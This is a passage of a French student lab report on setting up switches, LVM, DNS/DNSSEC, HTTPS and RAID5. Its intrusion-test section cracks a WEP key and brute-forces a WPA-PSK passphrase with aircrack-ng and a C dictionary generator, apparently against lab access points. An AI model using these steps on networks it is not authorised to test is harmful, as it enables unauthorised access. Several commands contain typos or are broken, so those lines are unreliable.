&amp;lt;pre&amp;gt;&lt;br /&gt;
interface TenGigabitEthernet1/0/1                                               &lt;br /&gt;
 switchport trunk encapsulation dot1q                                           &lt;br /&gt;
 switchport mode trunk                                                          &lt;br /&gt;
!                                                                               &lt;br /&gt;
interface TenGigabitEthernet1/0/2                                               &lt;br /&gt;
 switchport trunk encapsulation dot1q                                           &lt;br /&gt;
 switchport mode trunk                                                          &lt;br /&gt;
!                   &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Les ports sont bien configurés.&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Installations des commutateurs&amp;lt;/h4&amp;gt;&lt;br /&gt;
Après la configurations des commutateurs il faut les installer dans la salle technique.&lt;br /&gt;
[[Fichier:com.JPG|thumb|center|600xp|L'installation des commutateur]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie V - Câblages et créations des LVM &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Pour que tous les paquets puissent passer par mes commutateurs, il faut mettre des câbles entre les commutateurs de la salle E304 et la salle E306 et mes commutateurs configurés en mode LACP. Ensuite il faut créer des LVM.&lt;br /&gt;
&amp;lt;h4&amp;gt;b) Câblages des commutateurs&amp;lt;/h4&amp;gt;  &lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:ca2.JPG|Cablage&lt;br /&gt;
Fichier:ca0.JPG|Cablage&lt;br /&gt;
Fichier:ca1.JPG|Cablage&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Créations des LVM&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour créer le LVM il faut taper la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n /dev/virtual/ima5-Mulan-var -v&lt;br /&gt;
lvcreate -L 10G -n /dev/virtual/ima5-Mulan-home -v&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite il faut compléter le fichier Mulan.cfg&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
'phy:/dev/spool1/mail-spool,xvdb1,w',&lt;br /&gt;
'phy:/dev/spool2/mail-backup,xvdc1,w'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour visualiser la réussite de la création de LVM, il faut utiliser la commande '''fdisk -l''' et j'ai sur le console j'ai eu&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Disk /dev/xvda2: 4 GiB, 4294967296 bytes, 8388608 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
Disk /dev/xvda1: 128 MiB, 134217728 bytes, 262144 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
Disk /dev/xvdb1: 10 GiB, 10737418240 bytes, 20971520 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
Disk /dev/xvdc1: 10 GiB, 10737418240 bytes, 20971520 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Donc j'ai choisit xvdb1 pour home et xvdc1 pour var.&lt;br /&gt;
Ensuite j'ai modifié le fichier /etc/fstab en rajoutant&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc1 /var  ext4 defaults 0 3&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après il faut lancer la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mkfs -t ext4 /dev/xvdc1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux commandes permettent de créer un ext4 fichier sur une partition d'un système.&lt;br /&gt;
Mais avant d'exécuter '''mount a''' pour var, il faut d'abord déplacer les fichiers existants dans un autre répertoire''' mnt'''.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mount /dev/xdbc1 /mnt&lt;br /&gt;
cd /var&lt;br /&gt;
mv /mnt&lt;br /&gt;
unmont /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Petit Rappel&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
The mount command mounts a storage device or filesystem, making it accessible and attaching it to an existing directory structure.&lt;br /&gt;
The umount command &amp;quot;unmounts&amp;quot; a mounted filesystem, informing the system to complete any pending read or write operations, and safely detaching it.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie VI - Tests d'intrusion &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Dans cette section il faut tester les méthodes de sécurisation du WIFI&lt;br /&gt;
&amp;lt;h4&amp;gt;b) Cassage de clef WEP d'un point d'accès Wifi&amp;lt;/h4&amp;gt;&lt;br /&gt;
Le travail réalisé dans cette partie est sur un eeePC. Dans un premier temps, il faut installer le paquetage '''aircrack-ng''' sur eeePC avec la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install aircrack-ng&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite pour passer la carte WIFI en mode '''monitor''', il faut taper la commande &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airmon-ng start wlan3	       #&lt;br /&gt;
		#	check_cert_cn = %{User-Name}&lt;br /&gt;
		#&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
En même temps une interface mon0 est crée, cette interface est la même que le wlan3 sauf qu'elle est en mode '''monitor'''. Son rôle est d’écouter toutes les trames qui passent les interfaces.&lt;br /&gt;
Pour trouver les informations plus précisés de cette interface de monitor, avec l'aide de la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng mon0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'obtiens &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
BSSID                 PWR    Beacons    #Data,   #/s    CH     MB      ENC     CIPHER    AUTH      ESSID&lt;br /&gt;
00:12:D9:B7:E7:D0     -77          3        0      0    12     54e.    WPA2    CCMP      MGT       &amp;lt;length: 1&amp;gt;&lt;br /&gt;
C8:00:84:84:00:54     -79         15        0      0     9     54e.    WPA2    CCMP      MGT       PolytechLille&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour surveiller les réseaux WIFI, il faut lancer &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng -w manchot -c 13 --bssid 04:DA:D2:9C:50:54 mon0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Petit Rappel&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-w permet de créer un fichier de capture dans lequel seront enregistrés tous les paquets.&lt;br /&gt;
-c permet de cibler l'écoute sur un canal wifi particulier. &lt;br /&gt;
--bssid permet de ne cibler qu'un seul point d'accès en fonction de son adresse mac. &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Quatre fichiers manchots sont crées&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
manchot-01.cap    manchot-01.csv    manchot-01.kismet.csv    manchot-01.kismet.netxml&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Finalement il faut lancer l'algorithme de craquage de la clef WEP&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aircrack-ng manchot-01.cap&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Sur mon shell, j'obtiens&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Aircrack-ng 1.2 beta3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                 [00:00:00] Tested 782 keys (got 276993 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 15   EE(374528) 78(301568) 0B(298752) 11(296960) 87(294656)&lt;br /&gt;
    1    0/  2   46(383488) A8(300544) 6D(297216) FF(295680) 25(295168)&lt;br /&gt;
    2    9/  2   C3(291840) 28(290304) 85(290048) F7(290048) 19(289792)&lt;br /&gt;
    3    6/  3   D4(294400) 30(294144) 94(294144) BD(294144) 14(293632)&lt;br /&gt;
    4    0/  1   1F(383488) 3F(296960) A8(296960) 83(296192) 1A(295936)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:E4:44:44 ]&lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Cassage de mot de passe WPA-PSK par force brute&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour cette partie, il faut reprendre les étapes pour la cassage de clef WEP d'un point d'accès Wifi. Mais il faut créer un dictionnaire pour toutes les possibilités de la clef WPA qui est un nombre sur 8 chiffres. Le code pour la dictionnaire est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;time.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
  int i;&lt;br /&gt;
  for (i=0; i&amp;lt;1000000; i++)&lt;br /&gt;
  {&lt;br /&gt;
    printf(&amp;quot;%08d\n&amp;quot;,i);&lt;br /&gt;
  }&lt;br /&gt;
  return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite il faut lancer la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aircrack-ng -w dictionnaire record-01.cap&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Donc j'ai eu&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 # BSSID                   ESSID                       Encryption&lt;br /&gt;
 1 04:DA:D2:9C:50:52       cracotte03                  WPA (1 handshake)&lt;br /&gt;
Choosing first network as target.&lt;br /&gt;
&lt;br /&gt;
Opening record-01.cap&lt;br /&gt;
Reading packets, please wait...&lt;br /&gt;
                               Aircrack-ng 1.2 beta3&lt;br /&gt;
          &lt;br /&gt;
                   [00:57:58] 12399908 keys tested (3650.27 k/s)&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 12399903 ]&lt;br /&gt;
     &lt;br /&gt;
         Master Key    : 33 2B 69 DD 95 0A 5A E0 01 22 7E FF 98 DA 99 87&lt;br /&gt;
                         40 7A CB CC 8A E5 32 9F FE 4E 5C 44 91 38 13 93&lt;br /&gt;
   &lt;br /&gt;
         Transient Key : 86 B4 17 90 2B BE 9E CA 9A 5E 59 D7 F4 D9 94 A7&lt;br /&gt;
                         AE 0D 63 1C 83 3B 48 C4 FF 01 C4 85 4B 32 7F C0&lt;br /&gt;
                         9A CE DC 63 D6 3A 72 16 1E BE E4 CE 5D 1C B1 3D&lt;br /&gt;
                         1F 91 A1 F5 F4 1A 50 17 B9 55 0F 9F D4 3B 94 BD&lt;br /&gt;
&lt;br /&gt;
         EAPOL HMAC    : B3 F0 FA 27 2F E6 2E A4 73 F9 55 14 C7 4A 72 E0 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie VII - Services Internet &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Dans cette partie il faut réaliser un site Web sécurisé&lt;br /&gt;
&amp;lt;h4&amp;gt;b) Serveur DNS&amp;lt;/h4&amp;gt;&lt;br /&gt;
Sur le registrar Gandi, j'ai réservé un nom DNS '''mulan.website''' sur Gandi. Ensuite il faut installer '''bind9''' sur le serveur virtuel xen  pour donner les adresses correspondant à mon nom de réseau IP, au nom de mon interface de routeur, au nom de ma machine et au nom de l'adresse de diffusion de mon réseau IP.&lt;br /&gt;
Dans mon répertoire''' /etc/bind''' j'ai rajouté un fichier de description de zone'''db.mulan.website''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
; TTL (Time To Live)&lt;br /&gt;
$TTL	604800&lt;br /&gt;
&lt;br /&gt;
; Informations générales&lt;br /&gt;
@	IN	SOA	ns.mulnan.website. root.mulan.website. (&lt;br /&gt;
			12		; Serial&lt;br /&gt;
			604800		; Refresh&lt;br /&gt;
			86400		; Retry&lt;br /&gt;
			2419200		; Expire&lt;br /&gt;
			604800  )	; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns6.gandi.net.&lt;br /&gt;
	IN	NS	ns.mulan.website.&lt;br /&gt;
        IN      NS      100 ns.mulan.website.&lt;br /&gt;
&lt;br /&gt;
ns	IN	A	193.48.57.164&lt;br /&gt;
www	IN	A	193.48.57.164&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Petit Rappel&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Les dernières 4 lignes sont les détails du domaine,de ses sous-domaines,etc.C'est là qu'on fait notamment l'association entre l'IP et le nom de domaine.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans le fichier '''named.conf.local''' il faut rajouter&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
zone &amp;quot;mulan.website&amp;quot;{&lt;br /&gt;
	type master;&lt;br /&gt;
	allow-transfer {193.48.57.170;} ;&lt;br /&gt;
	file &amp;quot;/etc/bind/db.mulan.website&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''Attention'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
L'adresse dans allow-transfer doit être l'adresse du serveur esclave.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite pour tester si cela marche ou pas il faut taper les commandes&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
--service bind9 restart&lt;br /&gt;
--cat /var/log/daemon.log&lt;br /&gt;
--host ns.mulan.website 127.0.0.1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'obtiens &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Using domain server:&lt;br /&gt;
Name: 127.0.0.1&lt;br /&gt;
Address: 127.0.0.1#53&lt;br /&gt;
Aliases: &lt;br /&gt;
&lt;br /&gt;
ns.mulan.website has address 193.48.57.164&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Je peux conclure que nom DNS correspond bien à mon adresse IP '''193.48.57.164'''&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Sécurisation de site web par certificat &amp;lt;/h4&amp;gt;&lt;br /&gt;
Le travail a été réalisé sur '''Mulan''', il faut générer un '''CSR''' afin d'activer la '''SSL Certification'''. Pour réussir cela, il faut taper la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout mulan1.key -out mulan1.csr&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après la création des clefs et le CSR, j'ai obtenu mon certificat SSL sur Gandi. Ensuite j'ai configuré apache2 pour gérer du HTTPS sur le port 443. Pour réussir cela, j'ai crée un fichier mulan.conf.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;   &lt;br /&gt;
  ServerName mulan.website&lt;br /&gt;
  ServerAlias www.mulan.website&lt;br /&gt;
  DocumentRoot /var/www/mulan&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile &amp;quot;/etc/apache2/mulan.crt&amp;quot;&lt;br /&gt;
  SSLCertificateKeyFile &amp;quot;/etc/apache2/mulan.key&amp;quot;&lt;br /&gt;
  SSLCertificateChainFile &amp;quot;/etc/apache2/gandi.crt&amp;quot;&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerName mulan.website&lt;br /&gt;
  ServerAlias www.mulan.website&lt;br /&gt;
  DocumentRoot /var/www/mulan&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai créé une page index.html dans /var/www/mulan&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE HTML PUBLIC &amp;quot;-//W3C//DTD HTML 4.0//EN&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;HTML&amp;gt;&lt;br /&gt;
 &amp;lt;HEAD&amp;gt;    &lt;br /&gt;
  &amp;lt;TITLE&amp;gt;Mulan&amp;lt;/TITLE&amp;gt;&lt;br /&gt;
 &amp;lt;/HEAD&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
 &amp;lt;BODY&amp;gt;   &lt;br /&gt;
   &lt;br /&gt;
   L'une des plus belles filles du monde!&lt;br /&gt;
   &amp;lt;p style=&amp;quot;text-align:center;&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;mulan.jpg&amp;quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
    &lt;br /&gt;
     &amp;lt;/BODY&amp;gt;&lt;br /&gt;
&amp;lt;/HTML&amp;gt;   &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Donc le https://www.mulan.website donne&lt;br /&gt;
[[Fichier:mulan.png|thumb|center|600xp|Page principale]]&lt;br /&gt;
&amp;lt;h4&amp;gt;d) Sécurisation de serveur DNS par DNSSEC&amp;lt;/h4&amp;gt;&lt;br /&gt;
L'objectif de cette partie est de sécuriser mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Pour réussir cela, il faut certaines étapes.&lt;br /&gt;
1.Dans /etc/bind/named.conf.options,j'ai ajouté&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dnssec-enable yes;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
2.Ensuite j'ai crée un répertoire mulan.website.dnssec pour gérer tous les clefs dans /etc/bind&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mkdir mulan.website.dnssec&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
3.J'ai crée la clef asymétrique de signature de clefs de zone&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE mulan.website&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
4.Pour créer la clef asymétrique de la zone pour signer les enregistrement, il faut&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE mulan.website&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
5.J'ai renommé les clefs dans mon répertoire mulan.website.dnssec&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:/etc/bind/mulan.website.dnssec# ls -l&lt;br /&gt;
total 20&lt;br /&gt;
-rw-r--r-- 1 root bind  171 Dec  7 18:56 dsset-mulan.website.&lt;br /&gt;
-rw-r--r-- 1 root bind  609 Dec  7 18:54 mulan.website-ksk.key&lt;br /&gt;
-rw------- 1 root bind 1774 Dec  7 18:54 mulan.website-ksk.private&lt;br /&gt;
-rw-r--r-- 1 root bind  435 Dec  7 18:55 mulan.website-zsk.key&lt;br /&gt;
-rw------- 1 root bind 1010 Dec  7 18:55 mulan.website-zsk.private&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
6.Dans mon fichier /etc/bind/db.mulan.website, il faut inclure les clefs publiques et incrémenter le numéro de version de la zone&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$include /etc/bind/mulan.website.dnssec/mulan.website-ksk.key&lt;br /&gt;
$include /etc/bind/mulan.website.dnssec/mulan.website-zsk.key&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
7.Après il faut signer les enregistrements de la zone&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dnssec-signzone -o mulan.website -k mulan.website-ksk ../db.mulan.website mulan.website-zsk&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
8.Ensuite il faut modifier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 zone &amp;quot;mulan.website&amp;quot;{&lt;br /&gt;
	type master;&lt;br /&gt;
	allow-transfer {193.48.57.170;217.70.177.40;} ;&lt;br /&gt;
	file &amp;quot;/etc/bind/db.mulan.website.signed&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
9.La dernière étape est de rajouter la clé ksk dans gandi.net&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:gandi1.png|sécurisation par gandi&lt;br /&gt;
Fichier:gandi2.png|sécurisation par gandi&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
Pour être sur que mon DNS est bien sécurisé, j'ai visualisé sur DNSVIZ&lt;br /&gt;
[[Fichier:dnsviz.png|thumb|center|600xp|Visualisation de la sécurisation de DNS]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie VIII - Réalisations  &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Dans cette section il faut sécuriser un réseau Wifi, faire transiter des flux vidéos via UPnP et installer un auto-commutateur téléphonique logiciel.&lt;br /&gt;
&amp;lt;h4&amp;gt;b) Sécurisation de données&amp;lt;/h4&amp;gt;&lt;br /&gt;
J'ai commencé par créer trois partitions LVM de 1Go&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
lvcreate -L 1G -n /dev/virtual/Mulan-raid1 -v&lt;br /&gt;
lvcreate -L 1G -n /dev/virtual/Mulan-raid2 -v&lt;br /&gt;
lvcreate -L 1G -n /dev/virtual/Mulan-raid3 -v&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai rajouté trois lignes dans mon fichier /etc/xen/Mulan.cfg&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/Mulan-raid1,xvdd1,w',&lt;br /&gt;
'phy:/dev/virtual/Mulan-raid2,xvde1,w',&lt;br /&gt;
'phy:/dev/virtual/Mulan-raid3,xvdf1,w',&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour utiliser la commande mdadm, il faut d'abord installer le paquetage&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install mdadm&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut faut entrer cette commande pour charger le module MD-subsystem &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install linux-image-3.16.0-4-amd64&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après je peux créer volume /dev/md0 grâce à la commande suivante&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvde1 /dev/xvdf1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour visualiser la statue de kernel md&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cat /proc/mdstat&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'ai eu&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
md0 : active raid5 xvdf1[2] xvde1[1] xvdd1[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU]&lt;br /&gt;
      &lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite il faut mounter &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mount /dev/md0 /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Sur le console, j'ai eu&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mount: wrong fs type, bad option, bad superblock on /dev/md0,&lt;br /&gt;
       missing codepage or helper program, or other error&lt;br /&gt;
&lt;br /&gt;
       In some cases useful info is found in syslog - try&lt;br /&gt;
       dmesg | tail or so.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai crée un fichier système &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# mkfs -t ext4 /dev/md0&lt;br /&gt;
mke2fs 1.42.12 (29-Aug-2014)&lt;br /&gt;
Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
Filesystem UUID: 6148741b-9ebd-4ccc-8581-af7bbe3fea3c&lt;br /&gt;
Superblock backups stored on blocks: &lt;br /&gt;
    32768, 98304, 163840, 229376, 294912&lt;br /&gt;
&lt;br /&gt;
Allocating group tables: done                            &lt;br /&gt;
Writing inode tables: done                            &lt;br /&gt;
Creating journal (8192 blocks): done&lt;br /&gt;
Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après il faut le mounter&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# mount /dev/md0 /mnt&lt;br /&gt;
[17819.221864] EXT4-fs (md0): mounted filesystem with ordered data mode. Opts: (null)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 Pour afficher la valeur d'espace disque disponible des systèmes de fichier dont l'utilisateur possède l'accès en lecture, il faut une commande .df&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:/mnt# df .&lt;br /&gt;
Filesystem     1K-blocks  Used Available Use% Mounted on&lt;br /&gt;
/dev/md0         2029392  3072   1905184   1% /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour montrer l'espace disque libre listé en format lisible pour l'homme, c'est-à-dire avec le Système_international_d'unités&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:/mnt# df -h&lt;br /&gt;
Filesystem      Size  Used Avail Use% Mounted on&lt;br /&gt;
/dev/xvda2      3.9G  718M  3.0G  20% /&lt;br /&gt;
udev             10M     0   10M   0% /dev&lt;br /&gt;
tmpfs            50M   88K   50M   1% /run&lt;br /&gt;
tmpfs           5.0M     0  5.0M   0% /run/lock&lt;br /&gt;
tmpfs           125M     0  125M   0% /run/shm&lt;br /&gt;
/dev/xvdb1      9.8G   23M  9.2G   1% /home&lt;br /&gt;
/dev/xvdc1      9.8G  246M  9.0G   3% /var&lt;br /&gt;
/dev/md0        2.0G  3.0M  1.9G   1% /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai copié le fichier /boot/vmlinuz-3.16.0-4-amd64 .&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:/mnt# cp /boot/vmlinuz-3.16.0-4-amd64 .&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après j'ai mit ma partition xvde1 en mode Faulty&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# mdadm --set-faulty /dev/md0 /dev/xvde1&lt;br /&gt;
[17884.887698] md/raid:md0: Disk failure on xvde1, disabling device.&lt;br /&gt;
[17884.887698] md/raid:md0: Operation continuing on 2 devices.&lt;br /&gt;
mdadm: set /dev/xvde1 faulty in /dev/md0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour vérifier dans mon fichier&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
